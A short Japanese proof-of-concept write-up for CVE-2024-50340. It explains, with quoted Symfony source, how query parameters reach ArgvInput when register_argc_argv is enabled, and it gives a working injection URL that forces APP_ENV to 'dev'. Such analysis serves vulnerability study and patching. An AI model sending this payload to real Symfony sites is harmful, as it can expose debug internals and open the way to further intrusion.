
CVE-2024-50340 の概念実証エクスプロイト。Symfony ArgvInput における環境変数インジェクションを、細工した URL クエリパラメータを介して実証し、APP_ENV および APP_DEBUG の操作を可能にします。
register_argc_argv オプションは、PHP設定ファイル (php.ini) で有効にする必要があります。この設定により、コマンドライン引数とクエリパラメータが $_SERVER['argv'] に読み込まれます。 https://www.php.net/manual/en/ini.core.php#ini.register-argc-argv
このSymfonyコードは、入力引数 (ArgvInput) を使用して、特定の環境変数 (具体的には APP_ENV と APP_DEBUG) の値を決定します。以下はSymfonyのコードの関連部分です。
//Symfony\Component\Runtime\SymfonyRuntime
$input = new ArgvInput();
if (isset($this->options['env'])) {
return $this->input = $input;
}
if (null !== $env = $input->getParameterOption(['--env', '-e'], null, true)) {
putenv($this->options['env_var_name'].'='.$_SERVER[$this->options['env_var_name']] = $_ENV[$this->options['env_var_name']] = $env);
}
if ($input->hasParameterOption('--no-debug', true)) {
putenv($this->options['debug_var_name'].'='.$_SERVER[$this->options['debug_var_name']] = $_ENV[$this->options['debug_var_name']] = '0');
}
上記のコードは、ArgvInputを介して提供された引数を処理します。argvで --env パラメータが指定されている場合、それに応じて環境変数 APP_ENV を更新します。同様に、--no-debug が存在する場合、APP_DEBUG を 0 に設定します。
ArgvInputクラスは、コマンドライン、クエリパラメータ、またはデフォルトで $_SERVER['argv'] を介して渡されたargvパラメータを初期化します。array_shift($argv); 関数は、$argv 配列の最初の要素(通常はアプリケーション名)を削除し、残りの引数を $this->tokens に格納します。
//Symfony\Component\Console\Input\ArgvInput
public function __construct(?array $argv = null, ?InputDefinition $definition = null)
{
$argv ??= $_SERVER['argv'] ?? [];
// strip the application name
array_shift($argv);
$this->tokens = $argv;
parent::__construct($definition);
}
次のURL: http://localhost/?+--env=dev を使用すると、$_SERVER['argv'] に --env=dev 引数を注入できます。これにより、アプリケーションの設定を直接変更することなく、APP_ENV の値を dev に変更できます。
$_SERVER['argv'] = ["+--env=dev"];
$argv = ["--env=dev"];
--env=dev を有効なパラメータとして認識し、getParameterOption メソッドを介して APP_ENV を適宜更新します。